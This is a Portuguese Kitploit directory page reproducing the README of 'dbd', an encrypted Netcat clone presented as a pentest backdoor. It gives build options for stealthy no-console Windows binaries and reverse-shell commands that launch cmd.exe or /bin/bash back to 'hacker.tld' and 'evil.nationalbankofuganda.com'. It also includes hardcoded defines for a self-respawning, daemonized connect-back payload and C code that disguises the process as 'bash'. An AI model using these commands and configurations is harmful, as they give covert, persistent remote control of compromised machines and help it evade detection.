Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
dbd — Backdoor de Durandal | Kitploit
Ferramentas/GitHubGitHub/gitdurandal/dbd
Ferramentas de Criptografia/DescriptografiaExploraçãoPós-ExploraçãoSegurança de RedeTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubgitdurandal/dbd

dbd

Backdoor de Durandal

152382há 10 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver RepositórioSite

d8888b. d8888b. d8888b. 88 8D 88 8D 88 `8D 88 88 88oooY' 88 88 88 88 88~~~b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D'

#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd é distribuído sob a GNU GPL #Binário Mipsbe adicionado por Darkerego [https://github.com/darkerego] [(mailto:[email protected])]

###SINOPSE

dbd é um clone do Netcat, projetado para ser portátil e oferecer criptografia forte. Ele roda em sistemas operacionais do tipo Unix e no Microsoft Win32. O dbd apresenta criptografia AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), execução de programas (opção -e), escolha da porta de origem, reconexão contínua com atraso e alguns outros recursos interessantes. O dbd suporta apenas comunicação TCP/IP. O código-fonte e os binários são distribuídos sob a GNU General Public License.

###COMPILAÇÃO

root@kitploit:~
$ make
usage:
  make unix     - Linux, NetBSD, FreeBSD, OpenBSD
  make unix32  - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
  make sunos    - SunOS (Solaris)
  make win32    - native win32 console app (w/ Cygwin + MinGW)
  make win32bg  - create a native win32 no-console app (w/ Cygwin + MinGW)
  make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
  make mingw    - native win32 console app (w/ MinGW MSYS)
  make mingwbg  - native win32 no-console app (w/ MinGW MSYS)
  make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
  make cygwin   - Cygwin console app
  make darwin   - Darwin

cross-compile options:
  make mingw-cross    - win32 cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross  - win32 no-console cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
  make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch

roll up a tarball (move your compiled stuff to binaries/ first:
  make dist     - create tarball with source files, readme, and binaries/

Para compilar o dbd em um sistema operacional do tipo Unix, você precisa do gcc e das ferramentas de desenvolvimento relevantes. Para Linux, FreeBSD, NetBSD, OpenBSD (e possivelmente outros), digite:

root@kitploit:~
$ make unix

Para SunOS/Solaris, digite:

root@kitploit:~
$ make sunos

Para compilar o dbd no Microsoft Windows (NT/2K/XP/2K3), você precisa do MinGW+MSYS ou do Cygwin com suporte completo de desenvolvimento (gcc MinGW do Cygwin). Para compilar um aplicativo de console Win32 nativo do dbd no Cygwin, digite:

root@kitploit:~
$ make win32

ou, no MSYS:

root@kitploit:~
$ make mingw

Para compilar um aplicativo sem console ("WinMain") no Cygwin, digite:

root@kitploit:~
$ make win32bg

ou, no MSYS:

root@kitploit:~
$ make mingwbg

Para compilar um aplicativo de console específico do Cygwin, digite:

root@kitploit:~
$make cygwin

Você pode querer alterar o comportamento padrão do dbd. Uma das coisas mais importantes é trocar o segredo compartilhado padrão pela sua própria frase secreta. Edite o dbd.h e substitua pelas suas preferências. Você pode, por exemplo, querer codificar de forma fixa um host + porta para conectar se o dbd for iniciado sem opções. Exemplos completos são fornecidos no dbd.h.

###EXEMPLOS DE USO

Com um pouco de imaginação, o dbd pode ser usado para muitas coisas:

Use o dbd para transferir arquivos com segurança entre duas redes:

root@kitploit:~
snafu$ dbd -l -p 12345 -k secret > output.file

fubar$ cat input.file | dbd -k secret snafu 12345

ou a partir do win32:

root@kitploit:~
C:\somedir>type input.fil | dbd -k secret snafu 12345

Use o dbd como um chat simples (mas seguro):

root@kitploit:~
snafu$ dbd -P snafu -Hon fubar 1234

fubar$ dbd -Pfubar -Hon -l -p 1234

Use o dbd como backdoor de pentest:

root@kitploit:~
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443

ou em sistemas operacionais do tipo Unix:

root@kitploit:~
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993

###OPÇÕES DE HARD CODING

Além de usar opções de linha de comando, você pode codificar de forma fixa variáveis usando #defines no dbd.h. Para isso, defina as variáveis que deseja usar como constantes nomeadas e compile normalmente. Por exemplo, se você quisesse codificar de forma fixa um executável do dbd que se conectasse de volta a "evil.nationalbankofuganda.com" na porta 995 e executasse "/bin/bash", você poderia executar:

root@kitploit:~
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995

ou, usando #defines codificados de forma fixa, você poderia editar o dbd.h:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"

Você também pode definir opções de respawn e stealth para ajudar a manter sua conexão:

root@kitploit:~
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1

Isso fará a conexão daemonizar ("melt" em termos de malware), nunca enviar saída para o STDOUT e tentar restabelecer a conexão a cada 15 minutos, caso ela se desconecte do ouvinte.

###TECNOLOGIA DE CAMUFLAGEM ROMULANA

Agora estamos entrando na parte divertida. Quando você for um mestre em codificar opções fixas no seu backdoor, poderá usar o que possivelmente é a constante nomeada mais divertida à nossa disposição: CLOAK. Para fazer isso, basta definir o valor:

root@kitploit:~
#define CLOAK 1

NOTA: isso atualmente só funciona em compilações *nix. Eventualmente pretendo adicionar migração/enganchação de processos no Win32 para que esses alvos também possam sentir um pouco do amor romulano.

Para ambientes *nix, esta opção limpa o argv[0] e o substitui pela string "bash\0". Ela também limpa todos os outros argv[]'s (ficaria estranho se o ps retornasse "bash -e /bin/bash someremotehost.com 443", não ficaria?) Espero que seja desnecessário dizer que VOCÊ NÃO PODE USAR ESTA OPÇÃO A MENOS QUE ESTEJA CODIFICANDO DE FORMA FIXA SUAS VARIÁVEIS NO DBD.H. Além disso, se você estiver testando isso no seu próprio sistema, vai ser divertido escolher o pid certo para matar. ;)

Sinta-se à vontade para usar este limpador em qualquer coisa em que esteja trabalhando:

root@kitploit:~
//grab our named constant
int cloak = CLOAK;

//Engage cloaking device
if(cloak)
{
	#ifdef WIN32
	//stub              
	#else
	//change argv[0] to say bash       
	int scrub;
	strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
	strcpy((char *)argv[0], "bash\0");    
	for (scrub = 1; scrub < argc; scrub++)
	{                     
		 strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
	}                 
	#endif
}

###AVISO

Não passe entrada em cache (um arquivo com comandos ou similar) para uma sessão "dbd -e" em modo de escuta. O "dbd -e" usa pipes para passar dados entre o programa executado e o dbd. Pipes são usados (em vez de descritores de arquivo duplicados em passagem direta) por causa da criptografia entre os pipes e o socket. Para evitar que a extremidade de escrita de um dos pipes bloqueie todo o processo, eu a transformei em um descritor não bloqueante. Há uma chance de que, ao passar entrada demais de uma só vez para o programa -e, ela seja truncada (cortada), pois o buffer do pipe (no SO) não consegue armazenar todos os dados. Esse problema pode ser resolvido tornando o dbd multithread, por exemplo, mas vou evitar isso pelo maior tempo possível por questões de compatibilidade.

##COMPILAÇÃO CRUZADA

Como o dbd foi projetado para interoperar com outras ferramentas/frameworks, o make agora permite a compilação cruzada win32 em sistemas Linux que possuem o toolchain mingw32-gcc. Essas opções são quase idênticas às suas contrapartes nativas do Windows, com a adição de "-cross" após a compilação escolhida. Exemplo:

root@kitploit:~
$ make mingw-cross

fará a mesma coisa em um sistema Linux que

root@kitploit:~
$ make mingw

faria em um sistema win32 com mingw/msys instalado.

No momento, todas as opções de compilação cruzada são feitas pensando no Kali Linux, mas devem funcionar em qualquer *nix com um pouco de amor. Se você tiver o mingw32-gcc instalado e o make não compilar, edite a variável WCC no topo do Makefile e coloque o caminho para o seu binário mingw32-gcc.

A partir do dbd-1.5, você pode usar qualquer toolchain de compilação cruzada para compilar o dbd definindo o prefixo do toolchain como CROSS_COMPILE. Por exemplo, compilar uma versão arm é tão fácil quanto:

root@kitploit:~
$ make unix CROSS_COMPILE=arm-linux-gnueabi-

##MAGIA AVANÇADA

Se você deseja integrar o dbd a um framework de exploração, pode escrever um módulo que gera um dbd.h personalizado com opções de configuração específicas para o seu alvo. Qualquer coisa não explicitamente #definida neste arquivo ainda usará os padrões, para que você não precise escrever tudo no cabeçalho. Exemplo: remova o arquivo dbd.h e substitua por:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"

então chame make <opções de destino> para construir um payload de conexão automática com camuflagem e restabelecimento automático que se conecta de volta a um agente dbd em modo de escuta em evil.nationalbankofuganda.com executado com as opções:

root@kitploit:~
$ dbd -l -p 995 -k customcrypto

Outro truque avançado é compilar o dbd usando dietlibc ou uClibc. Para compilar um agente dbd linux com dietlibc, use:

root@kitploit:~
$ make unix CROSS_COMPILE="diet -Os "

Preste atenção ao espaço depois do "s" na string. Isso permite que o Makefile adicione o gcc com os CFLAGS e LDFLAGS padrão para que seu agente seja compilado corretamente. A vantagem de usar dietlibc é que ele produz um executável estático 100% muito pequeno para o ambiente de destino (cerca de 70K para um agente dbd linux antes do empacotamento, em oposição aos 700K+ padrão com glibc e gcc -static). Usar uClibc é ainda mais fácil, pois você apenas define o prefixo de compilação cruzada para seu toolchain em CROSS_COMPILE.

##LICENÇA

dbd Copyright (C) 2013 Kyle Barnthouse [email protected]

Este programa é software livre; você pode redistribuí-lo e/ou modificá-lo sob os termos da GNU General Public License publicada pela Free Software Foundation; seja a versão 2 da Licença, ou (a seu critério) qualquer versão posterior.

Este programa é distribuído na esperança de que seja útil, mas SEM NENHUMA GARANTIA; sem sequer a garantia implícita de COMERCIABILIDADE ou ADEQUAÇÃO A UM DETERMINADO FIM. Consulte a GNU General Public License para mais detalhes.

Você deve ter recebido uma cópia da GNU General Public License junto com este programa; se não, escreva para a Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

Consulte o arquivo COPYING para mais informações.

A implementação de AES-CBC-128 + HMAC-SHA1 do dbd é Copyright (C) Christophe Devine [email protected] e é distribuída sob a GNU General Public License (GPL).

Algum código (para doexec_win32.h) foi derivado de doexec.c do port Win32 do Netcat (C) Weld Pond e hobbit. Partes do doexec.c são Copyright (C) 1994 Nathaniel W. Mishkin (o código do doexec.c foi originalmente derivado de rlogind.exe).

A versão original do Netcat foi escrita por hobbit [email protected]. A versão NT foi feita por Weld Pond [email protected].


(C) Kyle Barnthouse [email protected] Consultor de Segurança
gitbrew.org
Hephaestus Security

Baixar ferramenta